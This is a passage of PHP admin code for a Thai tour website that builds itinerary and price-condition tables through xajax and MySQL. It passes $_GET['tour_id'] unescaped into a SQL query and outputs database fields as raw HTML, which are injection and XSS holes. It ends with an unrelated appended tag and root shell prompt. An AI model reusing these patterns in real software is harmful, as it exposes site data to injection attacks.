		<td height=\"23\" width=\"100%\" colspan=\"2\" bgcolor=\"#FFFF33\" id=\"td_topic_{$data['content_id']}\" ><input type='text' name='TopicRound[$content_id]' value='{$data['content_topic']}' style=\"background:#FFFF33;width:550px;border:0px;\"><span style='cursor:hand;' onclick=\"xajax_editTable('{$formData['div_back'][$content_id]}','{$data['content_id']}')\"> แก้ไข </span>   <span style='cursor:hand;' onclick=\"xajax_delTable('{$data['content_id']}')\"> ลบ</span></td>
	</tr>";

	$rs2=$db->Query("SELECT * FROM tour_content  WHERE content_parent='{$data['content_id']}' ORDER BY content_order ASC");
	while($data2=mysql_fetch_array($rs2)){
$html.="
<input type='hidden' name='subId[$content_id]' value='{$data2['content_id']}'>
	<tr id=\"tr_sub_{$data2['content_id']}\">
		<td height=\"30\" width=\"120\" align=center valign=top id=\"td_sub_time_{$data2['content_id']}\">{$data2['content_time']}</td>
		<td height=\"30\" width=\"500\" id=\"td_sub_detail_{$data2['content_id']}\">{$data2['content_detail']}</td>
	</tr>
	";
	}
	$html.="</tbody></table>";

$objResponse->addAssign($formData['div_back'][$content_id],"innerHTML",$html);
return $objResponse;
}
function undotable(){
	$objResponse = new xajaxResponse();
	$html.="
<table border=\"1\" width=\"100%\" height=\"10\"style=\"border-collapse: collapse\">
<tr>
<td width=\"100%\" valign=\"middle\" align=\"right\"  height=\"20\" colspan=\"2\"><input type=\"button\" value=\" เพิ่มตาราง \" onclick=\"addTable()\"></td>
</tr>
</table>";
$objResponse->addAssign("DivNewTable","innerHTML",$html);
return $objResponse;
}


function refreshCondition(){
	global $db;
	$objResponse = new xajaxResponse();
$html.="<FORM id=\"webForm3\" onsubmit=\"return false;\">
<table border=\"1\" width=\"100%\" height=\"10\"style=\"border-collapse: collapse\">
<tbody id=\"tb_condition\">
<tr>
<td width=\"100%\" valign=\"middle\" align=\"center\"  height=\"30\" colspan=\"2\">เงื่อนไข [<a href=\"javascript:void(0);\" onclick=\"addRowCondition('tb_condition')\">เพิ่มเงื่อนไขราคา</a>]</td>
</tr>
";
$rs=$db->Query("SELECT * FROM tour_content_condition  WHERE condition_tour_id='{$_GET['tour_id']}' ORDER BY condition_order ASC");
while($data=mysql_fetch_array($rs)){
$html.= "<tr>
<td width=\"100%\" valign=\"middle\" align=\"left\"  height=\"30\" colspan=\"2\">
เงื่อนไข:<input type=\"text\" name=\"Condition[]\" style=\"width:200px;\" value=\"{$data['condition_name']}\"> Order :<input type=\"text\" name=\"orderCondition[]\" style=\"width:20px;\" value=\"{$data['condition_order']}\"><br><textarea  name=\"ConDetail[]\" style=\"width:100%px;height:100px;\">{$data['condition_detail']}</textarea></td>
</tr>";
}
$html.="
</tbody>
</table>
<table border=\"1\" width=\"100%\" height=\"10\"style=\"border-collapse: collapse\">
<tr>
<td width=\"100%\" valign=\"middle\" align=\"right\"  height=\"20\" colspan=\"2\"><input type='button' value=\" ยกเลิก \" onclick=\"xajax_refreshCondition()\"> <input type=\"submit\" value=\" บันทึกเงื่อนไข \" onclick=\"xajax_addCondition(xajax.getFormValues('webForm3')); return false;\" /></td>
</tr>
</table>
</form>";
$objResponse->addAssign("txtCondition","innerHTML",$html);
return $objResponse;

}



?>

T1KUS90T
  root-grov@210.1.60.28:~$